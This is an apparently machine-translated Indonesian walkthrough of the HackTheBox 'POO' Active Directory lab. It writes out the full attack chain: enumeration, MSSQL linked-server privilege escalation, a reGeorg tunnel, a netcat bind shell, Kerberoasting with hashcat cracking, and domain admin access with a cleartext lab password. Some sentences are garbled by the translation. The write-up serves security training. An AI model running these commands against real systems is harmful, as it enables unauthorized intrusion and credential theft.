Pada artikel ini, kami akan menganalisis bagian tidak hanya dari mobil, tetapi dari seluruh laboratorium mini dari situs HackTheBox .Seperti yang dinyatakan dalam deskripsi, POO dirancang untuk menguji keterampilan di semua tahap serangan di lingkungan Active Directory kecil. Tujuannya adalah untuk mengkompromikan host yang tersedia, meningkatkan hak istimewa dan, akhirnya, kompromi seluruh domain, sambil mengumpulkan 5 bendera.Koneksi ke laboratorium adalah melalui VPN. Dianjurkan untuk tidak terhubung dari komputer kantor atau dari host di mana data yang penting bagi Anda tersedia, karena Anda berakhir di jaringan pribadi dengan orang-orang yang mengetahui sesuatu di bidang keamanan informasi :)Informasi Organisasi, ,
Telegram . , ,
.
. , - , .
Intro
Endgame ini terdiri dari dua mesin, dan berisi 5 flag.
Deskripsi dan alamat host yang tersedia juga diberikan.
Ayo mulai!Tandai kembali bendera
Mesin ini memiliki alamat IP 10.13.38.11, yang saya tambahkan ke / etc / hosts.10.13.38.11 poo.htb
Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 500 paket per detik.sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Sekarang, untuk informasi lebih rinci tentang layanan yang beroperasi pada port, kami akan menjalankan pemindaian dengan opsi -A.nmap -A poo.htb -p80,1433
Jadi, kita memiliki IIS dan MSSQL. Dalam hal ini, kita akan mengetahui nama DNS asli dari domain dan komputer. Di server web kami disambut oleh beranda IIS.
Mari kita pergi melalui direktori. Saya menggunakan gobuster untuk ini. Dalam parameter kami menunjukkan jumlah aliran 128 (-t), URL (-u), kamus (-w) dan ekstensi yang menarik bagi kami (-x).gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Dengan demikian, kami memiliki otentikasi HTTP untuk direktori / admin, serta file repositori layanan desktop yang tersedia .DS_Store. .DS_Store - ini adalah file yang menyimpan pengaturan pengguna untuk folder, seperti daftar file, lokasi ikon, gambar latar yang dipilih. File seperti itu dapat jatuh ke direktori server web pengembang web. Dengan demikian, kami mendapatkan informasi tentang isi direktori. Anda dapat menggunakan perayap DS_Store untuk ini .python3 dsstore_crawler.py -i http://poo.htb/
Kami mendapatkan isi direktori. Hal yang paling menarik di sini adalah direktori / dev, dari mana kita dapat melihat sumber dan file db di dua cabang. Tapi kita bisa 6 karakter pertama nama file dan direktori jika layanan rentan terhadap IIS ShortName. Untuk memeriksa kerentanan ini, gunakan pemindai nama pendek IIS .
Dan kita pergi ke satu file teks yang dimulai dengan "poo_co". Tidak tahu apa yang harus dilakukan selanjutnya, saya cukup memilih semua kata yang dimulai dengan "co" dari kamus direktori.cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Dan beralih melalui wfuzz.wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Dan kami menemukan kata yang tepat! Kami melihat file ini, menyimpan kredensial (dilihat dari parameter DBNAME, mereka dari MSSQL).
Kami menyerahkan bendera, dan kami bergerak maju sebesar 20%.
Bendera ya
Kami terhubung ke MSSQL, saya menggunakan DBeaver.
Kami tidak menemukan sesuatu yang menarik dalam database ini, mari kita buat SQL Editor dan periksa apa itu pengguna.SELECT name FROM master..syslogins;
Kami memiliki dua pengguna. Mari kita periksa hak istimewa kita.SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Dengan demikian, tidak ada hak istimewa. Mari kita lihat server terkait, tentang teknik ini saya tulis secara rinci di sini .SELECT * FROM master..sysservers;
Jadi kami menemukan SQL Server lain. Mari kita periksa eksekusi perintah di server ini menggunakan openquery ().SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'select @@version as version');
Dan kita bahkan dapat membangun pohon permintaan.SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITY\POO_PUBLIC", ''select @@version as version'');');
Faktanya adalah bahwa ketika kami mengeksekusi permintaan ke server yang ditautkan, permintaan tersebut dieksekusi dalam konteks pengguna lain! Mari kita lihat dalam konteks pengguna mana yang sedang kami kerjakan pada server yang tertaut.SELECT name FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT user_name() as name');
Sekarang mari kita lihat dalam konteks apa permintaan dari server yang terhubung ke server kita dieksekusi!SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT user_name() as name'');');
Dengan demikian, ini adalah konteks DBO yang harus memiliki semua hak istimewa. Mari kita periksa hak istimewa jika ada permintaan dari server yang tertaut.SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Seperti yang Anda lihat, kami memiliki semua hak istimewa! Mari buat admin kami dengan cara ini. Tetapi mereka tidak membiarkannya melalui openquery, mari kita lakukan melalui EXECUTE AT.EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
Dan sekarang kita terhubung dengan kredensial pengguna baru, kita amati basis data bendera baru.
Kami menyerahkan bendera ini dan melanjutkan.
Mundur bendera
Kami akan mendapatkan shell menggunakan MSSQL, saya menggunakan mssqlclient dari paket impacket.mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC
Kami perlu mendapatkan kata sandi, dan hal pertama yang kami temui adalah situs. Oleh karena itu, kita memerlukan konfigurasi server web (tidak mungkin untuk membuang shell yang mudah digunakan, tampaknya firewall berfungsi).
Tetapi akses ditolak. Meskipun kami dapat membaca file dari MSSQL, Anda hanya perlu tahu bahasa pemrograman apa yang dikonfigurasi. Dan dalam direktori MSSQL kami mencari tahu apa itu Python.
Kemudian baca file web.config tidak ada masalah.EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:\inetpub\wwwroot\web.config').read())"
Setelah kredensial ditemukan, buka / admin dan ambil benderanya.

Bendera yang halus
Bahkan, ada beberapa ketidaknyamanan menggunakan firewall, tetapi melihat pengaturan jaringan, kami melihat bahwa tusukan IPv6 juga digunakan!
Tambahkan alamat ini ke / etc / hosts.dead:babe::1001 poo6.htb
Mari memindai host lagi, tetapi menggunakan IPv6.
Dan lebih dari IPv6, layanan WinRM tersedia. Terhubung dengan kredensial yang ditemukan.
Ada bendera di desktop, kami serahkan.
Bendera P00ned
Setelah pengintaian pada tuan rumah menggunakan winpeas, kami tidak menemukan sesuatu yang istimewa. Kemudian diputuskan untuk mencari lagi kredensial (saya juga menulis artikel tentang topik ini ). Tapi saya tidak berhasil mendapatkan semua SPN dari sistem melalui WinRM.setspn.exe -T intranet.poo -Q */*
Mari kita jalankan perintah melalui MSSQL.
Dengan cara ini, kita mendapatkan SPN pengguna p00_hr dan p00_adm, yang berarti mereka rentan terhadap serangan seperti Kerberoasting. Singkatnya, kita bisa mendapatkan hash kata sandi mereka.Pertama, Anda perlu mendapatkan shell yang stabil atas nama pengguna MSSQL. Tetapi karena akses kami terbatas, kami hanya memiliki akses ke host melalui port 80 dan 1433. Tetapi adalah mungkin untuk mengarahkan lalu lintas melalui port 80! Untuk melakukan ini, kami menggunakan aplikasi berikut . Unduh file tunnel.aspx ke direktori home server web - C: \ inetpub \ wwwroot \.
Tetapi ketika kita mencoba mengaksesnya, kita mendapatkan kesalahan 404. Ini berarti bahwa file * .aspx tidak dieksekusi. Agar file dengan ekstensi ini mulai dijalankan, instal ASP.NET 4.5 sebagai berikut.dism /online /enable-feature /all /featurename:IIS-ASPNET45

Dan sekarang ketika mengakses tunnel.aspx kita mendapatkan jawaban bahwa semuanya siap untuk bekerja.
Mari kita luncurkan bagian klien dari aplikasi, yang akan menangani pengiriman lalu lintas. Kami akan mengarahkan semua lalu lintas dari port 5432 ke server.python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Dan kami menggunakan rantai proxy untuk mengirimkan lalu lintas ke aplikasi apa pun melalui proxy kami. Tambahkan proxy ini ke file konfigurasi /etc/proxychains.conf.
Sekarang kita akan mengunggah program netcat ke server , dengan bantuan yang mana kita akan membuat bind shell yang stabil, dan skrip Invoke-Kerberoast , yang dengannya kita akan melakukan serangan Kerberoasting.
Sekarang melalui MSSQL kita mulai pendengar.xp_cmdshell C:\temp\nc64.exe -e powershell.exe -lvp 4321
Dan terhubung melalui proxy kami.proxychains rlwrap nc poo.htb 4321
Dan mari kita ambil hash.. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:\temp\kerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Selanjutnya Anda perlu memilah-milah hash ini. Karena tidak ada data kata sandi dalam kamus rockyou, saya menggunakan SEMUA kamus kata sandi yang disediakan oleh Seclists. Untuk pencarian kami menggunakan hashcat.hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Dan kami menemukan kedua kata sandi, yang pertama di kamus dutch_passwordlist.txt, dan yang kedua di Keyboard-Combinations.txt.
Jadi kami memiliki tiga pengguna, buka pengontrol domain. Pertama kita cari tahu alamatnya.
Oke, kami menemukan alamat IP pengendali domain. Mari cari tahu semua pengguna domain, dan siapa di antara mereka yang merupakan administrator. Untuk mengunduh skrip untuk mendapatkan informasi PowerView.ps1. Kemudian hubungkan menggunakan evil-winrm dengan menentukan direktori dengan skrip pada parameter -s. Dan kemudian hanya memuat skrip PowerView.
Sekarang semua fungsinya tersedia untuk kita. Pengguna p00_adm terlihat seperti pengguna istimewa, jadi kami akan bekerja dalam konteksnya. Buat objek PSCredential untuk pengguna ini.$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Sekarang semua perintah Powershell, tempat kami menentukan Kredit, akan dieksekusi atas nama p00_adm. Mari daftar pengguna dan atribut AdminCount.Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Jadi, pengguna kami benar-benar istimewa. Mari kita lihat pada kelompok-kelompok di mana ia disusun.Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Kami menegaskan bahwa pengguna adalah administrator domain. Ini memberinya hak untuk login jarak jauh ke pengontrol domain. Mari kita coba masuk melalui WinRM menggunakan terowongan kami. Saya bingung dengan kesalahan yang dihasilkan oleh reGeorg saat menggunakan evil-winrm.
Kemudian kita akan menggunakan skrip lain yang lebih mudah untuk terhubung ke WinRM. Buka dan ubah parameter untuk koneksi.
Kami mencoba terhubung, dan kami berada di sistem.
Tapi tidak ada bendera. Kemudian lihat pengguna dan periksa desktop.
Di mr3ks kami menemukan benderanya dan laboratorium dilewati 100%.
Itu saja. Sebagai umpan balik, komentari apakah Anda mempelajari sesuatu yang baru dari artikel ini dan apakah itu bermanfaat bagi Anda.Anda dapat bergabung dengan kami di Telegram. Di sana Anda dapat menemukan materi yang menarik, kursus yang digabungkan, serta perangkat lunak. Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.